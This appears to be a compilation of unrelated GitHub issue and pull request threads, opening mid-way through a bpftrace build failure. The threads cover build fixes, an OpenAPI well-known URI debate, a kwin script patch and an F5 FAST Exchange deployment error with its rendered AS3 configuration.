  ^~~~~~~~~~~~~~~~~~~~~~~~~
CMakeFiles/parser.dir/build.make:96: recipe for target 'CMakeFiles/parser.dir/parser.tab.cc.o' failed
make[2]: *** [CMakeFiles/parser.dir/parser.tab.cc.o] Error 1
CMakeFiles/Makefile2:384: recipe for target 'CMakeFiles/parser.dir/all' failed
make[1]: *** [CMakeFiles/parser.dir/all] Error 2
Makefile:160: recipe for target 'all' failed
make: *** [all] Error 2
root@ubuntu:~/bpftrace/build#

The import file did related on /usr/include/bcc/libbpf.h.
And I believe the kernel is not the problem, it has the symbols.
Sorry, I'm not very familiar with the project, I just help to build the environment.
root@ubuntu:/usr/include/bcc# cat /proc/kallsyms | grep BPF_MAP_TYPE_PERCPU_ARRAY
ffff000008d108c8 t __TRACE_SYSTEM_BPF_MAP_TYPE_PERCPU_ARRAY
ffff000008d1bdd8 t TRACE_SYSTEM_BPF_MAP_TYPE_PERCPU_ARRAY

Please help me, really appreciate!

It seems installed kernel headers are old for some reason.
% git clone http://github.com/libbpf/libbpf /tmp/
% cmake .. -DKERNEL_INCLUDE_DIRS=/tmp/libbpf/include/uapi/

might work.

#1228 might be relevant to you, running on a smartnic appears tricky

@mmisono  Thank you, it works! I will close the issue.
@fbs  Thanks!


Don't Merge! PR real time test for webhook case

Docs Build status updates of commit 319ccdd:
:clock10: Pending: waiting for processors (23 builds ahead of you)
:warning: Docs Build is busy, currently there are 23 builds ahead of this one, for more information you can view the Build queue graph on the Docs Portal.

Docs Build status updates of commit 319ccdd:
:clock10: Full build: the average full build time is 7 min(s) 16 sec(s), this is based on the last 30 build(s) for this repository.

Docs Build status updates of commit 319ccdd:
:warning: Validation status: warnings

File
Status
Preview URL
Details

docs-ref-conceptual/testing.md
:warning:Warning
View (azure-cli-latest) View (azure-cli-2017-03-09-profile) View (azure-cli-2018-03-01-hybrid)
Details

docs-ref-conceptual/testing.md

[Warning] Missing attribute: either ms.prod or ms.service is required. Use ms.prod for on-premise products, or ms.service for cloud services.
[Warning] Missing attribute: title.
[Warning] Missing attribute: either ms.prod or ms.service is required. Use ms.prod for on-premise products, or ms.service for cloud services.
[Warning] Missing attribute: title.
[Warning] Missing attribute: either ms.prod or ms.service is required. Use ms.prod for on-premise products, or ms.service for cloud services.
[Warning] Missing attribute: title.

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Version 64 bit

Have you upgraded to the 64-bit version?
32 bit version works fine

Hi @estelle74, I'm unsure if RaspiMJPEG (the backend camera system) has been upgraded to 64-bit, but you might be interested in this which does indeed have compatibility with 64-bit operating systems. Be aware that not all functionality has been implemented but it should be a good starting point ^_^


Added About us page for modulo game

PR Description 📜
I've added the about us page for an modulo game
Fixes #4518

Mark the task you have completed ✅

[x] I follow CONTRIBUTING GUIDELINE & CODE OF CONDUCT of this project.
[x] I have performed a self-review of my own code or work.
[ ] I have commented my code, particularly in hard-to-understand areas.
[x] My changes generates no new warnings.
[x] I have followed proper naming convention showed in CONTRIBUTING GUIDELINE
[x] I have added screenshot for website preview in assets/images
[ ] I have added entries for my game in main README.md
[ ] I have added README.md in my folder
[ ] I have added working video of the game in README.md (optional)
[x] I have specified the respective issue number for which I have requested the new game.

Add your screenshots(Optional) 📸

Thank you soo much for contributing to our repository 💗

Thank you @Ayushmaanagarwal1211 ,for creating the PR and contributing to our GameZone 💗
Review team will review the PR and will reach out to you soon! 😇
Make sure that you have marked all the tasks that you are done with ✅.
Thank you for your patience! 😀

@kunjgit  Please merge it

Thank you  @Ayushmaanagarwal1211 , for your valuable time and contribution in our GameZone 💗.
It’s our GameZone, so Let’s build this GameZone altogether !!🤝
Hoping to see you soon with another PR again 😇
Wishing you all the best for your journey into Open Source🚀


Parser not returning data

Hey, I'm new to this library, and I think I'm holding it wrong...
I have JSON returned from a webhook targeting https://postcodes.io/ which looks like this:
{
  "latitude": 51.827172,
  "longitude": -2.718521,
  "returned_postcode": "AA00 0AA"
}

I'm trying to process this with the following code:
void configureGpsLocation(const char *event, const char *data){

    Particle.publish("received_data", data);
    parser.addString(data);
    if (parser.parse()){
      Particle.publish("success","JSON Data Parsed Successfully");
      String returned_postcode = parser.getReference().key("returned_postcode").valueString();
      float lat = parser.getReference().key("latitude").valueFloat();
      float lng = parser.getReference().key("longitude").valueFloat();
      Particle.publish("returned_postcode", returned_postcode);
      Particle.publish("target_latitude", String(lat));
      Particle.publish("target_longitude", String(lng));
    } else {
        Particle.publish("error","could not parse json");
    }
}

but all of the values published to the console return either null in the case of the postcode, or 0.000000 in the case of the lat/lng values.
The parser.parse() code always seems to evaluate as true, as I don't get to the could not parse json output.

You need to start with an empty parser to have this code work.
Try calling parser.clear() to ensure you are actually looking at the correct data.

I can confirm that this was the case.  Switching the subscribe and the publish around worked a treat.
Thanks :)


RFC 5785 conventions & suggested OpenAPI document locations

RFC 5785 "Defining Well-Known URIs" provides for a standardized path where documents for...

"the discovery of policy or other information about a host ('site-wide metadata') before making a request"`

...can be placed, for easy discovery.
Should the OpenAPI Specification be modified to suggest using a /.well-known/ URI for APIs that occupy the root level of a hostname?

It also says

well-known URIs are not intended
for general information retrieval or establishment of large URI
namespaces on the Web.  Rather, they are designed to facilitate
discovery of information on a site when it isn't practical to use
other mechanisms;

I think it makes more sense to provide the OpenAPI description at the root of an API or use something like apis.json to enable discovery.  I don't believe that discovery of OpenAPI descriptions meets bar for creating a well-known URL.

Really? You don't think so?
Take a look at "host-meta", a defined "well-known" uri: https://tools.ietf.org/html/rfc6415
It's used to do similar things that OpenAPI does. The description is

This specification describes a method for locating host metadata as
well as information about individual resources controlled by the
host.

So, just like OpenAPI describes how resources work for a host, so does "host-meta", and "host-meta" is already registered as a well-known uri. I feel like this is precisely what it's for, providing commonly used information about the host.

@shockey Do you have a proposed uri?
/.well-known/openapi.yaml ?
Or should could/should it have a sub-namespace? I'm going to host mine at the url I just mentioned, even if it's not a standard yet, I think it should go there.

I just came across this issue and while looking into it also stumbled on a draft informational RFC that proposes a web link with the service-desc relation. In theory the actual location wouldn't matter (the document could be hosted on a separate host for instance): so long as the service returned a header along the lines of Link: </openapi.yaml>;rel="service-desc";type="application/vnd.oai.openapi".

This I-D proposes to register service-desc to Well-Known URI IANA Registry https://ioggstream.github.io/draft-polli-service-description-well-known-uri/draft-polli-service-description-well-known-uri.html
Feedback welcome. @shockey In case it fits we could delegate the issue to this I-D.

The issue with using the service-desc link is: which operation/endpoint returns this link? If returned with normal operation responses defined by the OAS document, there is no guarantee that every API will have a safe and discoverable operation that one can use; it also requires that the operation have have a security requirement that an arbitrary client can satisfy.
One can include the service-desc link in a heath check endpoint as per https://datatracker.ietf.org/doc/html/draft-inadarei-api-health-check, but that does not really resolve this because a) there is no .well-known path for the health check, and b) we should not require providers implement a heath check operation in order to enable discovery of the OpenAPI definition / service description).
I personally prefer using a registered .well-known path for this, such as .well-known/openapi or .well-known/open-api (not .well-known/openapi.yaml or .well-known/openapi.json - use an Accept header to request a specific format, perhaps default to JSON)
We should also address what security requirement such a path should have (i.e. security: {})


Add notifications: Inspiration/Eurekas, Border/Pop growth

 Issue by 0SirLoin
Friday Nov 25, 2016 at 12:07 GMT
Originally opened as https://github.com/CQUI-Org/cqui/issues/143

Especially in the late game and with the added popups for having reached inspiration and eureka limits one often misses a lot of this information. Would it be possible to have an option to convert these popups to these permanent infos on the right screen where you can choose when to read them (like having a dow, unit attacked, unit killed etc.)
Also on that matter another suggestion: Like in the community mod pack for Civ5 having such notifications for border growth and population growth would be very helpful because when playing with a lot of cities you often miss these events.

 Comment by chaorace
Saturday Nov 26, 2016 at 08:40 GMT

From what I've gathered, true custom notifications are actually pretty hard to implement! I'll look into it again after v0.7

 Comment by chaorace
Saturday May 20, 2017 at 20:50 GMT

This will be tackled in #514


Restore window shadow when flushing a maximized window

When a window is maximized (for example, kwin starts firefox maximized by default), the Yanjing yMax + LEFT (or right) action does flush it correctly to the side, but does not reset its maximized status, leading to the window not having a shadow. Note that this does not happen if the window is not maximized prior to flushing.
While this should be automatic, it looks like kwin does not update the maximized status when the script resizes a window, and this needs to be set explicitly. I patched the Yanjing.yMax function to call client.setMaximize(true, false); before setting its geometry, and it seems to do the trick: the flushed window now has a shadow regardless of its previous state.
I did not directly submit a PR because you might want to investigate a "cleaner" solution to this, also working for the non yMax actions. Maybe you could wrap the client.geometry access into a function that compares the target size to the work area, and set the maximize status accordingly?

setMaximize was the way to go, but I made it restore the maximized size after removing the maximized state
released in v4.1.0 in the store now

Works great with 4.1.1, thanks again :bow:


FAST Exchange 2019 Template Fails for Shared tenant

Using the latest version of FAST templates (3.43.0) and AS3 (1.24.0) the deployment fails for irule not having HTTP or FASTHTTP profile.
On Vipreon hardware using LTM 16.x
Using the template:
https://github.com/F5Networks/f5-appsvcs-templates/blob/master/templates/bigip-fast-templates/microsoft_exchange.yaml
As customer has only the common tenant the documentation suggests I use "Shared" as the tenant
Error:
HTTP_REQUEST event in rule {iRule} requires an associated HTTP FASTHTTP profile on the virtual server

Thanks for reporting this issue. I've created a bug ticket for this, internal ID EC-149, for engineering to look into.

Applications are never deployed to the Common partition. You must create at least one new tenant for your applications to be deployed to.
Can you point me to where our documentation says to use Shared or Common?

That is the point, my customer has deeply used the Common Shared partition and does not want to use another tenant as it would require a lot of rework.  Thus the bug, I need a way to do this in Common.  To say Applications are never is based on best practice however the real world has people doing it all the time.

In order for us to understand your situation better, can you email me<EMAIL_ADDRESS>more details about the situation? Once I have that I'll bring this issue forward to the engineering team.

Hello @totalogic, is the documentation telling you to create objects in /Common/Shared and then reference these existing objects in your deployment? Please share where and what exactly it is you are reading.
Also, the error indicates that there is no HTTP profile on the Virtual Server, but the Exchange Application always creates an HTTP profile in the new Tenant and assigns it to every Virtual Server that uses an iRule.
Can you please copy the rendered  template that will not deploy because of this error, but clicking "Debug View" at the bottom of the template in the FAST GUI's Exchange template deployment form, and then click "Rendered"?

Hello Again @totalogic, We assume that you are working on a custom template based on the supported Exchange template, and neglected to include an http proflie. You can create one in the application or use one that already exists in /Common.
If this assumption is incorrect, please provide the template you are using, the rendered template with the the user input you are deploying and the exact message in the documentation you are asking about, with either a link or a screenshot.

Hello All,
I have the same issue - NOT using /common partition.
Templates version 3.39.0
AS3 1.20.0
Error: 01071912:3: HTTP_REQUEST event in rule (/VBGOV/Exch_owa_prod/Exch_owa_prod_combined_pool_irule3) requires an associated HTTP or FASTHTTP profile on the virtual-server (/VBGOV/Exch_owa_prod/Exch_owa_prod_vs).
Debug view below:
WARNING: The below declaration is only for inspection and debug purposes. Submitting the below ouput to AS3 directly can result in loss of tenants
and applications. Please only submit this declaration through FAST.
{
"class": "ADC",
"schemaVersion": "3.0.0",
"id": "urn:uuid:a858e55e-bbe6-42ce-a9b9-0f4ab33e3bf7",
"VBGOV": {
"class": "Tenant",
"Exch_owa_prod": {
"class": "Application",
"template": "generic",
"Exch_owa_prod_vs": {
"virtualAddresses": [
"<IP_ADDRESS>"
],
"virtualPort": 443,
"class": "Service_TCP",
"profileHTTP": {
"use": "Exch_owa_prod_http"
},
"persistenceMethods": [],
"snat": "auto",
"profileHTTPAcceleration": {
"use": "Exch_owa_prod_cache-optimize"
},
"profileHTTPCompression": {
"use": "Exch_owa_prod_wan-optimized-compression"
},
"redirect80": false,
"iRules": [
{
"use": "Exch_owa_prod_owa_redirect_irule3"
},
{
"use": "Exch_owa_prod_combined_pool_irule3"
},
{
"use": "Exch_owa_prod_samesite_irule"
}
],
"profileTCP": "normal"
},
"exchangeVS_ad_pool": {
"class": "Pool",
"members": [
{
"serverAddresses": [
"<IP_ADDRESS>",
"<IP_ADDRESS>"
],
"servicePort": 443,
"shareNodes": true
}
],
"loadBalancingMode": "least-connections-member",
"slowRampTime": 300,
"monitors": [
{
"use": "exchangeVS_ad_https_monitor"
}
],
"minimumMonitors": 1
},
"exchangeVS_as_pool": {
"class": "Pool",
"members": [
{
"serverAddresses": [
"<IP_ADDRESS>",
"<IP_ADDRESS>"
],
"servicePort": 443,
"shareNodes": true
}
],
"loadBalancingMode": "least-connections-member",
"slowRampTime": 300,
"monitors": [
{
"use": "exchangeVS_as_https_monitor"
}
],
"minimumMonitors": 1
},
"exchangeVS_ews_pool": {
"class": "Pool",
"members": [
{
"serverAddresses": [
"<IP_ADDRESS>",
"<IP_ADDRESS>"
],
"servicePort": 443,
"shareNodes": true
}
],
"loadBalancingMode": "least-connections-member",
"slowRampTime": 300,
"monitors": [
{
"use": "exchangeVS_ews_https_monitor"
}
],
"minimumMonitors": 1
},
"exchangeVS_mapi_pool": {
"class": "Pool",
"members": [
{
"serverAddresses": [
"<IP_ADDRESS>",
"<IP_ADDRESS>"
],
"servicePort": 443,
"shareNodes": true
}
],
"loadBalancingMode": "least-connections-member",
"slowRampTime": 300,
"monitors": [
{
"use": "exchangeVS_mapi_https_monitor"
}
],
"minimumMonitors": 1
},
"exchangeVS_owa_pool": {
"class": "Pool",
"members": [
{
"serverAddresses": [
"<IP_ADDRESS>",
"<IP_ADDRESS>"
],
"servicePort": 443,
"shareNodes": true
}
],
"loadBalancingMode": "least-connections-member",
"slowRampTime": 300,
"monitors": [
{
"use": "exchangeVS_owa_https_monitor"
}
],
"minimumMonitors": 1
},
"exchangeVS_ad_https_monitor": {
"class": "Monitor",
"interval": 10,
"timeout": 31,
"monitorType": "http",
"send": "GET /autodiscover/healthcheck.htm HTTP/1.1\r\nHost: vbgov.com\r\nConnection: Close\r\n\r\n",
"receive": "200 OK"
},
"exchangeVS_as_https_monitor": {
"class": "Monitor",
"interval": 10,
"timeout": 31,
"monitorType": "http",
"send": "GET /Microsoft-Server-Activesync/healthcheck.htm HTTP/1.1\r\nHost: vbgov.com\r\nConnection: Close\r\n\r\n",
"receive": "200 OK"
},
"exchangeVS_ews_https_monitor": {
"class": "Monitor",
"interval": 10,
"timeout": 31,
"monitorType": "http",
"send": "GET /EWS/healthcheck.htm HTTP/1.1\r\nHost: vbgov.com\r\nConnection: Close\r\n\r\n",
"receive": "200 OK"
},
"exchangeVS_owa_https_monitor": {
"class": "Monitor",
"interval": 10,
"timeout": 31,
"monitorType": "http",
"send": "GET /owa/healthcheck.htm HTTP/1.1\r\nHost: vbgov.com\r\nConnection: Close\r\n\r\n",
"receive": "200 OK"
},
"exchangeVS_mapi_https_monitor": {
"class": "Monitor",
"interval": 10,
"timeout": 31,
"monitorType": "http",
"send": "GET /MAPI/healthcheck.htm HTTP/1.1\r\nHost: vbgov.com\r\nConnection: Close\r\n\r\n",
"receive": "200 OK"
},
"Exch_owa_prod_http": {
"class": "HTTP_Profile",
"xForwardedFor": true,
"hstsInsert": false,
"hstsIncludeSubdomains": true,
"hstsPreload": true
},
"Exch_owa_prod_cache-optimize": {
"parentProfile": {
"bigip": "/Common/optimized-caching"
},
"class": "HTTP_Acceleration_Profile",
"uriIncludeList": [
"."
],
"uriExcludeList": [
"/owa/ev.owa",
"oab.xml"
]
},
"Exch_owa_prod_wan-optimized-compression": {
"class": "HTTP_Compress",
"contentTypeIncludes": [
"text/(css | html | javascript | json | plain | postscript | richtext | rtf | vnd.wap.wml | vnd.wap.wmlscript | wap | wml | x-component | x-vcalendar | x-vcard | xml) ",
"application/(css | css-stylesheet | doc | excel | javascript | json | lotus123 | mdb | mpp | ms-excel | ms-powerpoint | ms-word | msaccess | msexcel | mspowerpoint | msproject | msword | photoshop | postscript | powerpoint | ps | psd | quarkexpress | rtf | txt | visio | vnd.excel | vnd.ms-access | vnd.ms-excel | vnd.ms-powerpoint | vnd.ms-pps | vnd.ms-project | vnd.msword | vnd.ms-works | vnd.ms-works-db | vnd.msaccess | vnd.msexcel | vnd.mspowerpoint | vnd.msword | vnd.powerpoint | vnd.visio | vnd.wap.cmlscriptc | vnd.wap.wmlc | vnd.wap.xhtml+xml | vnd.word | vsd | winword | wks | word | x-excel | x-java-jnlp-file | x-javascript | x-json | x-lotus123 | x-mdb | x-ms-excel | x-ms-project | x-mscardfile | x-msclip | x-msexcel | x-mspowerpoint | x-msproject | x-msword | x-msworks-db | x-msworks-wps | x-photoshop | x-postscript | x-powerpoint | x-ps | x-quark-express | x-rtf | x-vermeer-rpc | x-visio | x-vsd | x-wks | x-word | x-xls | x-xml | xhtml+xml | xls | xml) ",
"image/(photoshop | psd | x-photoshop | x-vsd)"
]
},
"Exch_owa_prod_combined_pool_irule3": {
"class": "iRule",
"iRule": "when HTTP_REQUEST {\n    switch -glob -- [string tolower [HTTP::path]] {  \n        "/microsoft-server-activesync" {\n            TCP::idletime 1800\n            pool exchangeVS_as_pool\n            COMPRESS::disable\n            CACHE::disable\n            return\n        }   \n        "/owa*" {\n            \n            pool exchangeVS_owa_pool\n            return\n        }\n        "/ecp*" {\n            \n            pool exchangeVS_owa_pool\n            return\n        }   \n        "/ews*" {\n            pool exchangeVS_ews_pool\n            COMPRESS::disable\n            CACHE::disable\n            return\n        }\n        "/oab*" {\n            pool exchangeVS_ews_pool\n            persist none\n            return\n        }    \n        "/mapi*" {\n            pool exchangeVS_mapi_pool\n            COMPRESS::disable\n            CACHE::disable\n            return\n         }        \n        "/autodiscover*" {\n            pool exchangeVS_ad_pool\n            persist none\n            return\n        }   \n        default {\n            pool exchangeVS_owa_pool\n        }  \n    }\n}\nwhen HTTP_RESPONSE {\n   \n   if {[HTTP::header exists "Transfer-Encoding"]} {\n        HTTP::payload rechunk\n   }\n}"
},
"Exch_owa_prod_samesite_irule": {
"class": "iRule",
"iRule": {
"base64": "d2hlbiBIVFRQX1JFU1BPTlNFX1JFTEVBU0UgewogICAgZm9yZWFjaCBteWNvb2tpZSBbSFRUUDo6Y29va2llIG5hbWVzXSB7CiAgICAgICAgSFRUUDo6Y29va2llIHNlY3VyZSAkbXljb29raWUgZW5hYmxlCiAgICB9Cn0="
}
},
"Exch_owa_prod_owa_redirect_irule3": {
"class": "iRule",
"iRule": "priority 900\nwhen HTTP_REQUEST {\n    if { ([HTTP::uri] == "/") } {\n        HTTP::redirect https://[HTTP::host]/owa/\n    }\n}"
}
}
}
}


update deb dockerfiles

https://github.com/docker/docker/pull/14609 didnt re-run generate
ping @tianon

ahhh LGTM